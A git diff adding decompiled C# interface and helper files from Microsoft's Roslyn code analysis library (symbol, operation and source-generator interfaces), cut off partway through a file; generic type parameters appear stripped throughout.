b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IEventSymbol.cs new file mode 100644 index 0000000..830a9ec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IEventSymbol.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IEventSymbol : ISymbol, IEquatable +{ + ITypeSymbol Type { get; } + + NullableAnnotation NullableAnnotation { get; } + + bool IsWindowsRuntimeEvent { get; } + + IMethodSymbol? AddMethod { get; } + + IMethodSymbol? RemoveMethod { get; } + + IMethodSymbol? RaiseMethod { get; } + + new IEventSymbol OriginalDefinition { get; } + + IEventSymbol? OverriddenEvent { get; } + + ImmutableArray ExplicitInterfaceImplementations { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IFieldSymbol.cs new file mode 100644 index 0000000..3596157 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IFieldSymbol.cs @@ -0,0 +1,47 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +public interface IFieldSymbol : ISymbol, IEquatable +{ + ISymbol? AssociatedSymbol { get; } + + bool IsConst { get; } + + bool IsReadOnly { get; } + + bool IsVolatile { get; } + + bool IsRequired { get; } + + bool IsFixedSizeBuffer { get; } + + int FixedSize { get; } + + RefKind RefKind { get; } + + ImmutableArray RefCustomModifiers { get; } + + ITypeSymbol Type { get; } + + NullableAnnotation NullableAnnotation { get; } + + [MemberNotNullWhen(true, "ConstantValue")] + bool HasConstantValue + { + [MemberNotNullWhen(true, "ConstantValue")] + get; + } + + object? ConstantValue { get; } + + ImmutableArray CustomModifiers { get; } + + new IFieldSymbol OriginalDefinition { get; } + + IFieldSymbol? CorrespondingTupleField { get; } + + bool IsExplicitlyNamedTupleElement { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IFunctionPointerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IFunctionPointerTypeSymbol.cs new file mode 100644 index 0000000..3977db1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IFunctionPointerTypeSymbol.cs @@ -0,0 +1,8 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface IFunctionPointerTypeSymbol : ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + IMethodSymbol Signature { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IImportScope.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IImportScope.cs new file mode 100644 index 0000000..82c49e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IImportScope.cs @@ -0,0 +1,14 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IImportScope +{ + ImmutableArray Aliases { get; } + + ImmutableArray ExternAliases { get; } + + ImmutableArray Imports { get; } + + ImmutableArray XmlNamespaces { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGenerator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGenerator.cs new file mode 100644 index 0000000..152f046 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGenerator.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +public interface IIncrementalGenerator +{ + void Initialize(IncrementalGeneratorInitializationContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGeneratorNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGeneratorNode.cs new file mode 100644 index 0000000..76145cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGeneratorNode.cs @@ -0,0 +1,15 @@ +using System.Collections.Generic; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal interface IIncrementalGeneratorNode +{ + NodeStateTable UpdateStateTable(DriverStateTable.Builder graphState, NodeStateTable? previousTable, CancellationToken cancellationToken); + + IIncrementalGeneratorNode WithComparer(IEqualityComparer comparer); + + IIncrementalGeneratorNode WithTrackingName(string name); + + void RegisterOutput(IIncrementalGeneratorOutputNode output); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGeneratorOutputNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGeneratorOutputNode.cs new file mode 100644 index 0000000..dbd9ebb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IIncrementalGeneratorOutputNode.cs @@ -0,0 +1,10 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal interface IIncrementalGeneratorOutputNode +{ + IncrementalGeneratorOutputKind Kind { get; } + + void AppendOutputs(IncrementalExecutionContext context, CancellationToken cancellationToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ILabelSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ILabelSymbol.cs new file mode 100644 index 0000000..8f688b0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ILabelSymbol.cs @@ -0,0 +1,8 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface ILabelSymbol : ISymbol, IEquatable +{ + IMethodSymbol ContainingMethod { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ILocalSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ILocalSymbol.cs new file mode 100644 index 0000000..37e650f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ILocalSymbol.cs @@ -0,0 +1,30 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface ILocalSymbol : ISymbol, IEquatable +{ + ITypeSymbol Type { get; } + + NullableAnnotation NullableAnnotation { get; } + + bool IsConst { get; } + + bool IsRef { get; } + + RefKind RefKind { get; } + + ScopedKind ScopedKind { get; } + + bool HasConstantValue { get; } + + object? ConstantValue { get; } + + bool IsFunctionValue { get; } + + bool IsFixed { get; } + + bool IsForEach { get; } + + bool IsUsing { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMarshalAsAttributeTarget.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMarshalAsAttributeTarget.cs new file mode 100644 index 0000000..3cb02b5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMarshalAsAttributeTarget.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +internal interface IMarshalAsAttributeTarget +{ + MarshalPseudoCustomAttributeData GetOrCreateData(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMemberNotNullAttributeTarget.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMemberNotNullAttributeTarget.cs new file mode 100644 index 0000000..58a7d1f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMemberNotNullAttributeTarget.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal interface IMemberNotNullAttributeTarget +{ + ImmutableArray NotNullMembers { get; } + + ImmutableArray NotNullWhenTrueMembers { get; } + + ImmutableArray NotNullWhenFalseMembers { get; } + + void AddNotNullMember(string memberName); + + void AddNotNullMember(ArrayBuilder memberNames); + + void AddNotNullWhenMember(bool sense, string memberName); + + void AddNotNullWhenMember(bool sense, ArrayBuilder memberNames); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMethodSymbol.cs new file mode 100644 index 0000000..1c98471 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IMethodSymbol.cs @@ -0,0 +1,97 @@ +using System; +using System.Collections.Immutable; +using System.Reflection; +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis; + +public interface IMethodSymbol : ISymbol, IEquatable +{ + MethodKind MethodKind { get; } + + int Arity { get; } + + bool IsGenericMethod { get; } + + bool IsExtensionMethod { get; } + + bool IsAsync { get; } + + bool IsVararg { get; } + + bool IsCheckedBuiltin { get; } + + bool HidesBaseMethodsByName { get; } + + bool ReturnsVoid { get; } + + bool ReturnsByRef { get; } + + bool ReturnsByRefReadonly { get; } + + RefKind RefKind { get; } + + ITypeSymbol ReturnType { get; } + + NullableAnnotation ReturnNullableAnnotation { get; } + + ImmutableArray TypeArguments { get; } + + ImmutableArray TypeArgumentNullableAnnotations { get; } + + ImmutableArray TypeParameters { get; } + + ImmutableArray Parameters { get; } + + IMethodSymbol ConstructedFrom { get; } + + bool IsReadOnly { get; } + + bool IsInitOnly { get; } + + new IMethodSymbol OriginalDefinition { get; } + + IMethodSymbol? OverriddenMethod { get; } + + ITypeSymbol? ReceiverType { get; } + + NullableAnnotation ReceiverNullableAnnotation { get; } + + IMethodSymbol? ReducedFrom { get; } + + ImmutableArray ExplicitInterfaceImplementations { get; } + + ImmutableArray ReturnTypeCustomModifiers { get; } + + ImmutableArray RefCustomModifiers { get; } + + SignatureCallingConvention CallingConvention { get; } + + ImmutableArray UnmanagedCallingConventionTypes { get; } + + ISymbol? AssociatedSymbol { get; } + + IMethodSymbol? PartialDefinitionPart { get; } + + IMethodSymbol? PartialImplementationPart { get; } + + MethodImplAttributes MethodImplementationFlags { get; } + + bool IsPartialDefinition { get; } + + INamedTypeSymbol? AssociatedAnonymousDelegate { get; } + + bool IsConditional { get; } + + ITypeSymbol? GetTypeInferredDuringReduction(ITypeParameterSymbol reducedFromTypeParameter); + + IMethodSymbol? ReduceExtensionMethod(ITypeSymbol receiverType); + + ImmutableArray GetReturnTypeAttributes(); + + IMethodSymbol Construct(params ITypeSymbol[] typeArguments); + + IMethodSymbol Construct(ImmutableArray typeArguments, ImmutableArray typeArgumentNullableAnnotations); + + DllImportData? GetDllImportData(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IModuleSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IModuleSymbol.cs new file mode 100644 index 0000000..5f780c4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IModuleSymbol.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IModuleSymbol : ISymbol, IEquatable +{ + INamespaceSymbol GlobalNamespace { get; } + + ImmutableArray ReferencedAssemblies { get; } + + ImmutableArray ReferencedAssemblySymbols { get; } + + INamespaceSymbol? GetModuleNamespace(INamespaceSymbol namespaceSymbol); + + ModuleMetadata? GetMetadata(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamedTypeSymbol.cs new file mode 100644 index 0000000..0e732d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamedTypeSymbol.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface INamedTypeSymbol : ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + int Arity { get; } + + bool IsGenericType { get; } + + bool IsUnboundGenericType { get; } + + bool IsScriptClass { get; } + + bool IsImplicitClass { get; } + + bool IsComImport { get; } + + bool IsFileLocal { get; } + + IEnumerable MemberNames { get; } + + ImmutableArray TypeParameters { get; } + + ImmutableArray TypeArguments { get; } + + ImmutableArray TypeArgumentNullableAnnotations { get; } + + new INamedTypeSymbol OriginalDefinition { get; } + + IMethodSymbol? DelegateInvokeMethod { get; } + + INamedTypeSymbol? EnumUnderlyingType { get; } + + INamedTypeSymbol ConstructedFrom { get; } + + ImmutableArray InstanceConstructors { get; } + + ImmutableArray StaticConstructors { get; } + + ImmutableArray Constructors { get; } + + ISymbol? AssociatedSymbol { get; } + + bool MightContainExtensionMethods { get; } + + INamedTypeSymbol? TupleUnderlyingType { get; } + + ImmutableArray TupleElements { get; } + + bool IsSerializable { get; } + + INamedTypeSymbol? NativeIntegerUnderlyingType { get; } + + ImmutableArray GetTypeArgumentCustomModifiers(int ordinal); + + INamedTypeSymbol Construct(params ITypeSymbol[] typeArguments); + + INamedTypeSymbol Construct(ImmutableArray typeArguments, ImmutableArray typeArgumentNullableAnnotations); + + INamedTypeSymbol ConstructUnboundGenericType(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamespaceOrTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamespaceOrTypeSymbol.cs new file mode 100644 index 0000000..d0e3cad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamespaceOrTypeSymbol.cs @@ -0,0 +1,21 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface INamespaceOrTypeSymbol : ISymbol, IEquatable +{ + bool IsNamespace { get; } + + bool IsType { get; } + + ImmutableArray GetMembers(); + + ImmutableArray GetMembers(string name); + + ImmutableArray GetTypeMembers(); + + ImmutableArray GetTypeMembers(string name); + + ImmutableArray GetTypeMembers(string name, int arity); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamespaceSymbol.cs new file mode 100644 index 0000000..8a6e02c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/INamespaceSymbol.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface INamespaceSymbol : INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + bool IsGlobalNamespace { get; } + + NamespaceKind NamespaceKind { get; } + + Compilation? ContainingCompilation { get; } + + ImmutableArray ConstituentNamespaces { get; } + + new IEnumerable GetMembers(); + + new IEnumerable GetMembers(string name); + + IEnumerable GetNamespaceMembers(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IOperation.cs new file mode 100644 index 0000000..ae4cce7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IOperation.cs @@ -0,0 +1,321 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Operations; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[InternalImplementationOnly] +public interface IOperation +{ + [NonDefaultable] + public readonly struct OperationList : IReadOnlyCollection, IEnumerable, IEnumerable + { + [NonDefaultable] + public struct Enumerator + { + private readonly Operation _operation; + + private int _currentSlot; + + private int _currentIndex; + + public IOperation Current => _operation.GetCurrent(_currentSlot, _currentIndex); + + internal Enumerator(Operation operation) + { + _operation = operation; + _currentSlot = -1; + _currentIndex = -1; + } + + public bool MoveNext() + { + bool result; + (result, _currentSlot, _currentIndex) = _operation.MoveNext(_currentSlot, _currentIndex); + return result; + } + + public void Reset() + { + _currentSlot = -1; + _currentIndex = -1; + } + } + + private sealed class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public IOperation Current => _enumerator.Current; + + object? IEnumerator.Current => _enumerator.Current; + + public EnumeratorImpl(Enumerator enumerator) + { + _enumerator = enumerator; + } + + public void Dispose() + { + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator.Reset(); + } + } + + [NonDefaultable] + public readonly struct Reversed : IReadOnlyCollection, IEnumerable, IEnumerable + { + [NonDefaultable] + public struct Enumerator + { + private readonly Operation _operation; + + private int _currentSlot; + + private int _currentIndex; + + public IOperation Current => _operation.GetCurrent(_currentSlot, _currentIndex); + + internal Enumerator(Operation operation) + { + _operation = operation; + _currentSlot = int.MaxValue; + _currentIndex = int.MaxValue; + } + + public bool MoveNext() + { + bool result; + (result, _currentSlot, _currentIndex) = _operation.MoveNextReversed(_currentSlot, _currentIndex); + return result; + } + + public void Reset() + { + _currentIndex = int.MaxValue; + _currentSlot = int.MaxValue; + } + } + + private sealed class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _enumerator; + + public IOperation Current => _enumerator.Current; + + object? IEnumerator.Current => _enumerator.Current; + + public EnumeratorImpl(Enumerator enumerator) + { + _enumerator = enumerator; + } + + public void Dispose() + { + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator.Reset(); + } + } + + private readonly Operation _operation; + + public int Count => _operation.ChildOperationsCount; + + internal Reversed(Operation operation) + { + _operation = operation; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_operation); + } + + public ImmutableArray ToImmutableArray() + { + GetEnumerator(); + Operation operation = _operation; + if (operation != null) + { + if (operation.ChildOperationsCount == 0) + { + return ImmutableArray.Empty; + } + if (operation is NoneOperation noneOperation) + { + ImmutableArray children = noneOperation.Children; + return reverseArray(children); + } + if (operation is InvalidOperation invalidOperation) + { + ImmutableArray children2 = invalidOperation.Children; + return reverseArray(children2); + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(Count); + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + instance.Add(current); + } + return instance.ToImmutableAndFree(); + static ImmutableArray reverseArray(ImmutableArray input) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(input.Length); + for (int num = input.Length - 1; num >= 0; num--) + { + instance2.Add(input[num]); + } + return instance2.ToImmutableAndFree(); + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Count == 0) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(new Enumerator(_operation)); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return ((IEnumerable)this).GetEnumerator(); + } + } + + private readonly Operation _operation; + + public int Count => _operation.ChildOperationsCount; + + internal OperationList(Operation operation) + { + _operation = operation; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_operation); + } + + public ImmutableArray ToImmutableArray() + { + Operation operation = _operation; + if (operation != null) + { + if (operation.ChildOperationsCount == 0) + { + return ImmutableArray.Empty; + } + if (operation is NoneOperation noneOperation) + { + return noneOperation.Children; + } + if (operation is InvalidOperation invalidOperation) + { + return invalidOperation.Children; + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(Count); + Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + instance.Add(current); + } + return instance.ToImmutableAndFree(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (Count == 0) + { + return SpecializedCollections.EmptyEnumerator(); + } + return new EnumeratorImpl(new Enumerator(_operation)); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return ((IEnumerable)this).GetEnumerator(); + } + + public bool Any() + { + return Count > 0; + } + + public IOperation First() + { + Enumerator enumerator = GetEnumerator(); + if (enumerator.MoveNext()) + { + return enumerator.Current; + } + throw new InvalidOperationException(); + } + + public Reversed Reverse() + { + return new Reversed(_operation); + } + + public IOperation Last() + { + Reversed.Enumerator enumerator = Reverse().GetEnumerator(); + if (enumerator.MoveNext()) + { + return enumerator.Current; + } + throw new InvalidOperationException(); + } + } + + IOperation? Parent { get; } + + OperationKind Kind { get; } + + SyntaxNode Syntax { get; } + + ITypeSymbol? Type { get; } + + Optional ConstantValue { get; } + + [Obsolete("This API has performance penalties, please use ChildOperations instead.", false)] + IEnumerable Children { get; } + + OperationList ChildOperations { get; } + + string Language { get; } + + bool IsImplicit { get; } + + SemanticModel? SemanticModel { get; } + + void Accept(OperationVisitor visitor); + + TResult? Accept(OperationVisitor visitor, TArgument argument); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IParameterSymbol.cs new file mode 100644 index 0000000..8a5a7a8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IParameterSymbol.cs @@ -0,0 +1,35 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IParameterSymbol : ISymbol, IEquatable +{ + RefKind RefKind { get; } + + ScopedKind ScopedKind { get; } + + bool IsParams { get; } + + bool IsOptional { get; } + + bool IsThis { get; } + + bool IsDiscard { get; } + + ITypeSymbol Type { get; } + + NullableAnnotation NullableAnnotation { get; } + + ImmutableArray CustomModifiers { get; } + + ImmutableArray RefCustomModifiers { get; } + + int Ordinal { get; } + + bool HasExplicitDefaultValue { get; } + + object? ExplicitDefaultValue { get; } + + new IParameterSymbol OriginalDefinition { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPointerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPointerTypeSymbol.cs new file mode 100644 index 0000000..83ef1f1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPointerTypeSymbol.cs @@ -0,0 +1,11 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IPointerTypeSymbol : ITypeSymbol, INamespaceOrTypeSymbol, ISymbol, IEquatable +{ + ITypeSymbol PointedAtType { get; } + + ImmutableArray CustomModifiers { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPreprocessingSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPreprocessingSymbol.cs new file mode 100644 index 0000000..ddb0b46 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPreprocessingSymbol.cs @@ -0,0 +1,7 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface IPreprocessingSymbol : ISymbol, IEquatable +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPropertySymbol.cs new file mode 100644 index 0000000..66abf2a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IPropertySymbol.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public interface IPropertySymbol : ISymbol, IEquatable +{ + bool IsIndexer { get; } + + bool IsReadOnly { get; } + + bool IsWriteOnly { get; } + + bool IsRequired { get; } + + bool IsWithEvents { get; } + + bool ReturnsByRef { get; } + + bool ReturnsByRefReadonly { get; } + + RefKind RefKind { get; } + + ITypeSymbol Type { get; } + + NullableAnnotation NullableAnnotation { get; } + + ImmutableArray Parameters { get; } + + IMethodSymbol? GetMethod { get; } + + IMethodSymbol? SetMethod { get; } + + new IPropertySymbol OriginalDefinition { get; } + + IPropertySymbol? OverriddenProperty { get; } + + ImmutableArray ExplicitInterfaceImplementations { get; } + + ImmutableArray RefCustomModifiers { get; } + + ImmutableArray TypeCustomModifiers { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IRangeVariableSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IRangeVariableSymbol.cs new file mode 100644 index 0000000..31cc92f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IRangeVariableSymbol.cs @@ -0,0 +1,7 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface IRangeVariableSymbol : ISymbol, IEquatable +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IReferenceOrISignature.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IReferenceOrISignature.cs new file mode 100644 index 0000000..1e14b73 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IReferenceOrISignature.cs @@ -0,0 +1,50 @@ +using System; +using System.Runtime.CompilerServices; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct IReferenceOrISignature : IEquatable +{ + private readonly object _item; + + public IReferenceOrISignature(IReference item) + { + _item = item; + } + + public IReferenceOrISignature(ISignature item) + { + _item = item; + } + + public IReferenceOrISignature(IMethodReference item) + { + _item = item; + } + + public bool Equals(IReferenceOrISignature other) + { + return _item == other._item; + } + + public override bool Equals(object? obj) + { + return false; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(_item); + } + + public override string ToString() + { + return _item.ToString() ?? "null"; + } + + internal object AsObject() + { + return _item; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISecurityAttributeTarget.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISecurityAttributeTarget.cs new file mode 100644 index 0000000..f76e2b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISecurityAttributeTarget.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +internal interface ISecurityAttributeTarget +{ + SecurityWellKnownAttributeData GetOrCreateData(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISkipLocalsInitAttributeTarget.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISkipLocalsInitAttributeTarget.cs new file mode 100644 index 0000000..0046164 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISkipLocalsInitAttributeTarget.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +internal interface ISkipLocalsInitAttributeTarget +{ + bool HasSkipLocalsInitAttribute { get; set; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISkippedTokensTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISkippedTokensTriviaSyntax.cs new file mode 100644 index 0000000..c5bf283 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISkippedTokensTriviaSyntax.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis; + +public interface ISkippedTokensTriviaSyntax +{ + SyntaxTokenList Tokens { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISourceAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISourceAssemblySymbol.cs new file mode 100644 index 0000000..c063923 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISourceAssemblySymbol.cs @@ -0,0 +1,8 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public interface ISourceAssemblySymbol : IAssemblySymbol, ISymbol, IEquatable +{ + Compilation Compilation { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISourceGenerator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISourceGenerator.cs new file mode 100644 index 0000000..16f3993 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ISourceGenerator.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public interface ISourceGenerator +{ + void Initialize(GeneratorInitializationContext context); + + void Execute(GeneratorExecutionContext context); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IStateTable.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IStateTable.cs new file mode 100644 index 0000000..c1baa47 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IStateTable.cs @@ -0,0 +1,12 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal interface IStateTable +{ + bool HasTrackedSteps { get; } + + ImmutableArray Steps { get; } + + IStateTable AsCached(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IStructuredTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IStructuredTriviaSyntax.cs new file mode 100644 index 0000000..9b930af --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/IStructuredTriviaSyntax.cs @@ -0,0 +1,6 @@ +namespace 